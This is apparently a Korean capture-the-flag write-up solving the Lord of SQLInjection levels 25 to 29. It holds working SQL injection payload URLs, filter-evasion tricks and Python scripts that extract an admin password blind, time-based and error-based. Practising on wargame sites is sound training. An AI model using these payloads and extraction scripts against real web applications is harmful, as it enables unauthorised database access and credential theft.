LOS 25~29번
이어서 풀기
25번 green_dragon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);
?>
우선 싱글 쿼터와 더블 쿼터가 필터링 되어있다.
id와 pw를 주어진 쿼리에서 가져오고, 그 값을 또 다시 쿼리2에 넣는 구조이다.
처음 보는 구조라서 검색을 해봤는데 union select를 통해서 원하는 값을 넣을 수 있음을 알았다.
우선 싱글 쿼터는 이전에 해왔던 것 처럼 \를 통해서 우회가 가능하다.
그 다음 아래와 같은 쿼리를 넣으면
1
2
3
4
https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw= union select 1,2%23
-> query : select id,pw from prob_green_dragon where id='\' and pw=' union select 1,2#'
id = \' and pw= 가 들어간 후 뒤의 union select 1,2가 실행된다.
id에 있는 값은 당연히 반환 값이 없으므로 뒤의 select 1, 2의 반환 값인 (1, 2)만 행으로 반환이 된다.
그러면 $result[‘id’]와 $result[‘pw’]에 1과 2를 각각 넣을 수 있게 된다.
그러면 id에 \를 넣고 pw에 union select 0x61646d696e#를 넣으면
1
query2 : select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#'
가 되면서 문제를 해결 할 수 있다.
이 때 query1에서 2로 넘어가는 과정에서도 SQL끼리 전달되는 과정에서 변환이 되는 것인지 hex 값으로 전달해야 한다.
1
https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=union%20select%200x5c,%200x756e696f6e2073656c6563742030783631363436643639366523%23
26번 red_dragon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
id에 입력 할 수 있는 글자가 최대 7글자이고, parameter는 id와 no가 있다.
또, no는 숫자만 입력이 가능하다.
하지만 따로 필터링 되는 문자들이 없기에 id에서 주석으로 끊고, 내용을 no에서 채우는 방법을 생각할 수 있다.
1
2
3
https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no%3C%23&no=%0a1000000000
-> query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000
이런 쿼리를 넣으면 no<까지만 들어가고, no=%0a를 통해 다음 줄로 넘어가 내용을 입력할 수 있다.
지금 no<1e9 라는 정보를 얻었으므로 이제 이분탐색으로 간단하게 구할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import requests
my_cookies = dict(PHPSESSID="druge69moqhkorlih51issfbvq")
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
abc = string.digits + string.ascii_letters
print("이분 탐색")
l=0
r=1e10
while l+1<r:
mid=int((l+r)/2)
param = f"?id=%27||no<%23&no=%0a{mid}"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("Hello admin") > 0:
r=mid
else:
l=mid
print(mid)
print(l)
27번 blue_dragon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);
?>
이번에는 필터링을 \와 '를 하고 있다.
그런데 테스트해보면 특이하게 쿼리를 보여준 다음 No Hack을 보여준다.
이 것은 쿼리를 실행하긴 한다는 것이므로 error 기반이나 time-based 기반으로 접근할 수 있다.
하지만 error 페이지를 따로 보여주지는 않기에 time-based로 풀이했고 간단하게 됐다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import string
import time
my_cookies = dict(PHPSESSID="druge69moqhkorlih51issfbvq")
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 60):
send=time.time()
param = f"?pw=' or if(id ='admin' and length(pw)={length}, sleep(4), 1)%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
re=time.time()
if (re-send) > 3:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
for a in range(32, 127):
# MID + CHAR로 우회
send=time.time()
param = f"?pw=' or if(id ='admin' and ascii(substr(pw,{i},1))={a}, sleep(4), 1)%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
re=time.time()
if (re-send) > 3:
print(f"{i}번째 char is: {chr(a)}")
result += chr(a)
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")
28번 frankenstein
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
이번에는 에러 화면은 있는데 (, ), union 등이 필터링 되어 있다.
하지만 에러를 내는 방법은 아주 많다.
일단 double을 범위를 터뜨리는 방법으로 exp(), pow(), 9e307*9, ~0+1 등이 있다.
~0+1은 이번에 처음 본 것인데 ~0이 UNSIGNED BIGINT의 최댓값이 되서 거기에 +1을 해서 터뜨리는 방법이다.
괄호는 필터링 되어 있기에 뒤의 2개 중 하나를 선택하고 조건문은 case when (조건) then A else B end 구문이 있다.
이 때 length() 구문을 못 써서 어떻게 하지 고민했는데 like과 %를 이용해서 한글자씩 뜯어오는게 더 간단했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import string
my_cookies = dict(PHPSESSID="druge69moqhkorlih51issfbvq")
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
print("=== Finding admin pw ===")
result = ""
# 최대 60자까지 시도
for i in range(60):
found = False
# ASCII 범위로 시도
for a in range(48, 123):
char = chr(a)
# 특수문자 이스케이프
if char in ["'", "\\"]:
continue
if a>=59 and a<97:
continue
# LIKE 패턴: 이미 찾은 문자 + 현재 시도 문자 + %
pattern = result + char + '%25'
param = f"?pw=' or case when id='admin' and pw like '{pattern}' then 9e307*9 else 0 end%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
# error 발생하면 일치
if "php" not in res.text:
print(f"{i+1}번째 char is: {char} (ASCII: {a})")
result += char
found = True
break
# 더 이상 문자를 못 찾으면 종료
if not found:
print(f"\nPassword complete at {i} characters")
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")
url 보낼 때 문자는 되도록 아스키로 보내는 것을 유의하자.
29번 phantom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
이번에는 다른 유형이고, joinmail 뒤에 값을 넣으면 원하는 값을 table에 넣을 수 있다.
출력하는 테이블을 보면 no=1이거나 ip=원격 ip (공격자 ip)여야지 출력을 한다.
우선 구문을 깨는 것부터 생각을 했고, 그 다음에 새로 값을 넣을 수 있다.
1
2
https://los.rubiya.kr/chall/phantom_e2e30eaf1c0b3cb61b4b72a932c849fe.php?joinmail=abc1'), (0,'116.40.207.38','abc2')%23
-> query : insert into prob_phantom values(0,'116.40.207.38','abc1'), (0,'116.40.207.38','abc2')#')
쿼리가 아래와 같이 되며 abc1과 abc2가 입력이 된다.
또 뒤에 있는 데이터 입력에서는 ‘abc2’ 자리에 서브쿼리를 넣을 수 있게 된다.
그러면 (select email from prob_phantom where no=1) 처럼 넣어주면 되겠다고 생각을 했는데 안된다.
같은 테이블에 INSERT하면서 동시에 SELECT할 수 없기 때문에 prob_phantom을 선택할 수 없었던 것이다.
그렇기에 임시 테이블을 통해서 우회를 해줘야 하고 방법은 두 가지가 있었다.
- (select email from prob_phantom tt where no=1)
- (select * from (select email from prob_phantom where no=1) as tt)
이렇게 임시 테이블로 인식하게 해서 출력을 하면 잘 나온다.